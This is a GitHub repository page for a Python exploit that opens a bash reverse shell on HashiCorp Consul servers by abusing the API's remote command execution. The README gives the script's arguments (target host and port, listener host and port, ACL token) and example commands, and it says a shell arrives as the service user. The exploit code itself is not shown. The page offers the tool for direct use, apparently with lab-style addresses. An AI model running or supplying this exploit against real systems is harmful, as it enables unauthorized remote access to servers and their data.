Skip to content

Exploit of RCE for gain reverse shell (bash) in Hashicorp Consul on Remote Command Execution via API

Notifications You must be signed in to change notification settings

M0R1AR7Y/Hashicorp-Consul-RCE-via-API

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 

Repository files navigation

This exploit helps you to get a reverse shell, exploiting the Hashicorp-Consul service via API, not using tools like metasploit

· When executing the script with python3 with the --help parameter, it asks us for a series of parameters

--rhost RHOST  remote host  (ip of the victim machine, if not specified, 127.0.0.1 will be used)
--rport RPORT  remote port  (port where the consul API is executed, if not specified, 8500 will be used)
--lhost LHOST  local host   (ip where the shell will be received)
--lport LPORT  local port   (port where the shell will be received)
--token TOKEN  acl token    (acl token needed to authenticate with the api)

· If we have what is necessary, we can give it the arguments and run it, example:

python3 exploit.py --rhost 127.0.0.1 --rport 8500 --lhost 10.10.14.10 --lport 443 --token bb03b43b-1d81-d62b-24b5-39540ee469b5

· or can be compacted with the other argument options

python3 exploit.py -rh 127.0.0.1 -rp 8500 -lh 10.10.14.10 -lp 443 -tk bb03b43b-1d81-d62b-24b5-39540ee469b5

· When executing the script with its arguments we should see a message with a + which indicates that the request has been sent correctly

· Checking your listener, in a couple of seconds you should get a shell as the user running the service

· In case it detects that it cannot connect to the host, it will give a message, check the port is exposed and use port forwarding if necessary, then try again

About

Exploit of RCE for gain reverse shell (bash) in Hashicorp Consul on Remote Command Execution via API

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Python 100.0%